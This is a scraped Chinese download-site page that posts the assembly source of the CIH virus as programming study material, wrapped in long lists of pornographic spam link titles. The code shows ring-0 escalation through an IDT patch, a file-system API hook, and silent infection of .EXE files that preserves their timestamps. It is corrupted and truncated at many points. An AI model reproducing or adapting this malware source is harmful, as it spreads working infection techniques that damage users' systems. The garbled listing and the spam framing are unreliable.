亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? cih病毒原碼.txt

?? 學習(編程技巧_編程知識_程序代碼),是學習編程不可多得的學習精驗
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
CIH病毒原碼
 

--------------------------------------------------------------------------------
 
第八軍團 時間:2003-12-17 12:31:40 
   
 


CIH病毒原碼

 


; * The Virus Program Information * 
; 
**************************************************************************** 

; * * 
; * Designer : CIH Original Place : TTIT of Taiwan * 
; * Create Date : 04/26/1998 Now Version : 1.1 * 
; * Modification Time : 05/15/1998 * 
; * * 
; 
*==========================================================================* 

; * Modification History * 
; 
*==========================================================================* 

; * v1.0 1. Create the Virus P * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Managle that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; 
**************************************************************************** 

.586P 

; ********************************************************************ALSE = 
0 

DEBUG = TRUE 

MajorVirusVersion = 1 
MinorVirusVersion = 1 

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion 

HookExceptionNumber = 03h 
FileNameBufferSize = 7fh 

; ********************************************************* 
; ********************************************************* 

VirusGame SEGMENT 

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame 
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame 

; ********************************************************* 
; * Ring3 Virus Game Initial Program * 
; ********************************************************* 

MyVirusStart: 
push ebp 

; ************************************* 
; * Let's Modify Structured Exception * 
; * Handing, Prevent Exception Error * 
; * Occurrence, Especially in NT. * 
; ************************************* 

lea eax, [esp-04h*2] 

xor ebx, ebx 
xchg eax, fs:[ebx] 

call @0 
@0: 
pop ebx 

lea ecx, StopToRunVirusCode-@0[ebx] 
push ecx 

push eax 

; ************************************* 
; * Let's Modify * 
; * IDT(Interrupt Descriptor Table) * 
; * to Get Ring0 Privilege... * 
; ************************************* 

push eax ; 
sidt [esp-02h] ; Get IDT Base Address 
pop ebx ; 

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 

cli 

mov ebp, [ebx] ; Get Exception Base 
ebx-04h], si ; 
shr esi, 16 ; Modify Exception 
mov [ebx+02h], si ; Entry Point Address 

pop esi 

; ************************************* 
; * Generate Exception to Get Ring0 * 
; ************************************* 

int HookExceptionNumber ; GenerateException 
ReturnAddressOfEndException = $ 

; ************************************* 
; * Merge All Virus Code Section * 
; ************************************* 

push esi 
mov esi, eax 

LoopOfMergeAllVirusCodeSection: 

mov ecx, [eax-04h] 

rep movsb 

sub eax, 08h 

mov esi, [eax] 

or esi, esi 
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 

jmp LoopOfMergeAllVirusCodeSection 

QuitLoopOfMergeAllVirusCodeSection: 

pop esi 

; ************************************* 
; * Generate Exception Again * 
; ************************************* 

int HookExceptionNumber ; GenerateException Ag 
ain 

; ************************************* 
; * Let's Restore * 
; * Structured Exception Handing * 
; ************************************* 

ReadyRestoreSE: 
sti 

xor ebx, ebx 

jmp RestoreSE 

; ************************************* 
; * When Exception Error Occurs, * 
; * Our OS System should be in NT. * 
; * So My Cute Virus will not * 
; * Continue to Run, it Jmups to * 
; * Original Application to Run. * 
; ************************************* 

StopToRunVirusCode: 
@1 = StopToRunVirusCode 

xor ebx, ebx 
mov eax, fs:[ebx] 
mov esp, [eax] 

RestoreSE: 
pop dword ptr fs:[ebx] 
pop eax 

; ************************************* 
; * Return Original App to Execute * 
; ************************************* 

pop ebp 

push 00401000h ; Push Original 
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 

ret ; Re********************************* 

MyExceptionHook: 
@2 = MyExceptionHook 

jz InstallMyFileSystemApiHook 

; ************************************* 
; * Do My Virus Exist in System !? * 
; ************************************* 

mov ecx, dr0 
jecxz AllocateSystemMemoryPage 

add dword ptr [esp], ReadyRestoreSE-ReturnAddressO 
fEndException 

; ************************************* 
; * Return to Ring3 Initial Program * 
; ************************************* 

ExitRing0Init: 
mov [ebx-04h], bp ; 
shr ebp, 16 ; Restore Exception 
mov [ebx+02h], bp ; 

iretd 

; ************************************* 
; * Allocate SystemMemory Page to Use * 
; ************************************* 

AllocateSystemMemoryPage: 

mov dr0, ebx ; Set the Mark of My Virus Exi 
st in System 

push 00000000fh ; 
push ecx ; 
push 0ffffffffh ; 
push ecx ; 
push ecx ; 
push ecx ; 
push 000000001h ; 
push 000000002h ; 
int 20h ; VMMCALL _PageAllocate 
_PageAllocate = $ ; 
dd 00010053h ; Use EAX, ECX, EDX, and flags 
add esp, 08h*04h 

xchg edi, eax ; EDI = SystemMemory Start Add 
ress 

lea eax, MyVirusStart-@2[esi] 

iretd ; Return to Ring3 Initial Program 

; ************************************* 
; * Install My File System Api Hook * 
; ************************0h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ; 
dd 00400067h ; Use EAX, ECX, EDX, and flags 

mov dr0, eax ; Save OldFileSystemApiHook Ad 
dress 

pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] 
mov OldInstallFileSystemApiHook-@3[eax], edx 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax 

cli 

jmp ExitRing0Init 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook 
add ebx, FileSystemApiHook-@4 ; 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
****** 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: 
@3 = FileSystemApiHook 

pushad 

call @5 ; 
@5: ; 
pop esi ; mov esi, offset VirusGameDataStartAd 
dress 
add esi, VirusGameDataStartAddress-@5 

; ************************************* 
; * Is OnBusy !? * 
; ************************************* 

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy 
) 
jnz pIFSFunc ; goto pIFSFun 
c 

; ************************************* 
; * Is OpenFile !? * 
; ************************************* 

; if ( NotOpenFile ) 
*********************** 
; * Get FilePath's DriveNumber, * 
; * then Set the DriveName to * 
; * FileNameBuffer. * 
; ************************************* 
; * Ex. If DriveNumber is 03h, * 
; * DriveName is 'C:'. * 
; ************************************* 

; mov esi, offset FileNameBuffer 
add esi, FileNameBuffer-@6 

push esi 

mov al, [ebx+04h] 
cmp al, 0ffh 
je CallUniToBCSPath 

add al, 40h 
mov ah, ':' 

mov [esi], eax 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 

CallUniToBCSPath: 
push 00000000h 
push FileNameBufferSize 
mov ebx, [ebx+10h] 
20h ; VXDCall UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h 
add esp, 04h*04h 

; ************************************* 
; * Is FileName '.EXE' !? * 
; ************************************* 

; cmp [esi+eax-04h], '.EXE' 
cmp [esi+eax-04h], 'EXE.' 
pop esi 
jne DisableOnBusy 

IF DEBUG 

; ************************************* 
; * Only for Debug * 
; ************************************* 

; cmp [esi+eax-06h], 'FUCK' 
cmp [esi+eax-06h], 'KCUF' 
jne DisableOnBusy 

ENDIF 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美精品久久99久久在免费线| 中文字幕亚洲成人| 中文字幕在线观看不卡| 亚洲成a人片综合在线| 国产成人精品一区二区三区四区 | 欧美国产欧美综合| 秋霞午夜av一区二区三区| 国产激情91久久精品导航 | 亚洲第一狼人社区| 成人一区二区在线观看| 欧美一区二区视频在线观看| 亚洲视频资源在线| 成人免费视频国产在线观看| 日韩欧美久久久| 亚洲午夜国产一区99re久久| 9色porny自拍视频一区二区| 2021中文字幕一区亚洲| 日日夜夜精品视频天天综合网| 99久久免费精品| 国产夜色精品一区二区av| 久久99精品国产麻豆婷婷| 欧美日韩一区二区不卡| 一级特黄大欧美久久久| av在线这里只有精品| 国产偷国产偷精品高清尤物| 精彩视频一区二区| xnxx国产精品| 国产精品影音先锋| 久久麻豆一区二区| 韩国精品主播一区二区在线观看| 日韩亚洲欧美在线| 日本欧美在线观看| 欧美大片顶级少妇| 久久99国产精品免费| 欧美tk—视频vk| 精品一区二区三区久久久| 欧美电视剧免费观看| 精品在线免费视频| 久久久久久夜精品精品免费| 狠狠色综合日日| 久久精品视频免费| 国产精品夜夜嗨| 欧美激情一区二区三区蜜桃视频| 国产精品一区二区三区99| 中文字幕欧美日韩一区| 波多野结衣视频一区| 亚洲天堂成人网| 欧美无乱码久久久免费午夜一区 | 国产91丝袜在线18| 国产精品网站在线播放| 99精品黄色片免费大全| 亚洲乱码一区二区三区在线观看| 91浏览器入口在线观看| 亚洲第一会所有码转帖| 91精品国产91久久久久久一区二区 | 国产不卡在线播放| 国产精品乱人伦一区二区| 色老汉一区二区三区| 日本不卡视频一二三区| 国产亚洲精品福利| 91在线视频免费观看| 天天综合网天天综合色| 精品国产乱码久久久久久牛牛 | 伊人色综合久久天天人手人婷| 欧美系列在线观看| 韩国视频一区二区| 亚洲欧洲成人精品av97| 在线不卡一区二区| 国产精品18久久久久久久久久久久 | 成人久久久精品乱码一区二区三区 | 五月天丁香久久| 久久精品男人天堂av| 欧美在线观看18| 国产在线精品一区二区不卡了| 国产精品免费视频观看| 欧美一区永久视频免费观看| 国产69精品一区二区亚洲孕妇| 亚洲第一久久影院| 国产精品久久网站| 欧美一区二区三区免费观看视频| 成人小视频免费在线观看| 亚洲电影欧美电影有声小说| 中文字幕av一区二区三区高| 在线不卡欧美精品一区二区三区| 国产成a人无v码亚洲福利| 日本成人在线视频网站| 亚洲欧美另类在线| 中文字幕免费在线观看视频一区| 欧美高清性hdvideosex| 99久久精品国产麻豆演员表| 国产真实乱对白精彩久久| 亚洲午夜羞羞片| 1000部国产精品成人观看| 精品88久久久久88久久久| 欧美精三区欧美精三区| 91蜜桃传媒精品久久久一区二区| 国产一区在线视频| 免费看欧美美女黄的网站| 一区二区三区中文字幕| 综合电影一区二区三区 | 欧美国产精品v| 精品美女一区二区| 91精品国产91热久久久做人人| 91在线观看污| 成人精品国产一区二区4080 | 五月激情六月综合| 一区二区三区成人在线视频| 国产欧美一区二区三区鸳鸯浴| 欧美成人猛片aaaaaaa| 日韩区在线观看| 欧美另类z0zxhd电影| 欧美日韩视频在线第一区| 色先锋资源久久综合| av在线一区二区| 99久久99久久综合| 91免费小视频| 91麻豆免费在线观看| 97国产精品videossex| 色诱视频网站一区| 色天天综合久久久久综合片| 色综合视频一区二区三区高清| aaa欧美日韩| 91在线观看高清| 欧美主播一区二区三区| 欧美日韩国产首页| 4438x成人网最大色成网站| 欧美精三区欧美精三区| 日韩欧美亚洲另类制服综合在线| 91精品婷婷国产综合久久| 欧美一区二区三区成人| 日韩欧美国产不卡| 欧美精彩视频一区二区三区| 日本一区二区成人| 尤物av一区二区| 天堂久久久久va久久久久| 蜜臀99久久精品久久久久久软件| 久久精品国产77777蜜臀| 国产福利一区二区三区视频| 成人黄色在线网站| 欧美亚洲图片小说| 精品久久久久久久久久久院品网| 久久精品视频免费| 亚洲综合丁香婷婷六月香| 日韩综合小视频| 国产乱码字幕精品高清av | 免费人成网站在线观看欧美高清| 精品在线观看视频| 99精品欧美一区二区蜜桃免费| 欧美日韩精品高清| 久久网站热最新地址| 亚洲欧美日韩系列| 男男视频亚洲欧美| 不卡视频免费播放| 欧美日韩的一区二区| 久久久亚洲精品一区二区三区| 国产精品免费视频一区| 男女视频一区二区| 91无套直看片红桃| 久久影院电视剧免费观看| 亚洲综合男人的天堂| 国产一区欧美二区| 欧美日韩黄视频| 中文字幕欧美激情一区| 日韩精品亚洲专区| 99精品国产视频| 精品国产伦一区二区三区观看方式 | 国产福利电影一区二区三区| 在线免费视频一区二区| 国产亚洲一二三区| 亚洲一区二区欧美日韩| 国产精品中文有码| 911精品产国品一二三产区| 成人免费一区二区三区视频| 久久99国产精品成人| 欧美日韩黄色一区二区| 国产精品你懂的在线欣赏| 久久精品国产77777蜜臀| 欧美色偷偷大香| 最近中文字幕一区二区三区| 国产一区在线观看视频| 欧美一级日韩一级| 丝袜国产日韩另类美女| 一本色道久久综合亚洲91| 国产免费成人在线视频| 久久99精品国产.久久久久| 911精品产国品一二三产区| 一区二区欧美国产| 色一情一乱一乱一91av| 亚洲欧美自拍偷拍| 高清在线观看日韩| 久久免费美女视频| 麻豆国产欧美一区二区三区| 911精品产国品一二三产区| 亚洲国产成人av网| 91精品1区2区| 亚洲精品久久久蜜桃| av在线不卡免费看| 亚洲乱码国产乱码精品精小说 | 亚洲不卡av一区二区三区| 色婷婷av一区二区三区软件|